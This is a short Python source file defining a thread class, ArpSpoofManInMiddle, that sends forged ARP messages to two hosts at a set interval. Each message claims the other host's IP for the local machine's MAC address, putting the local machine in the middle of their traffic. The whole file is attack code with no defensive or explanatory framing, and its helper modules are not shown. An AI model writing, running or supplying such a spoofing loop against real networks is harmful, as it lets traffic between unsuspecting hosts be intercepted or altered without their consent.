import threading
import time
from netArpMaker import NetArpMsg
from netFunctions import getHwAddr


class ArpSpoofManInMiddle(threading.Thread):
    def __init__(self,pc,host1,host2,interface,interval=5):
        threading.Thread.__init__(self)
        self._host1 = host1
        self._host2 = host2
        self._running = False
        self._interval = interval       # Time between 2 ARP Msg in seconds
        self._interface = interface
        self._localmac = getHwAddr(self._interface,"hex")
        self._pc = pc
        
    def isRunning(self):
        return self._running
    
    def stop(self):
        self._running = False
        
    def _spoof(self):
        NetArpMsg(self._pc,self._interface,self._host2["ip"],self._localmac,self._host1["ip"],self._host1["mac"])
        NetArpMsg(self._pc,self._interface,self._host1["ip"],self._localmac,self._host2["ip"],self._host2["mac"])
        
    def run(self):
        self._running = True
        while self.isRunning():
            self._spoof()
            time.sleep(self._interval)
    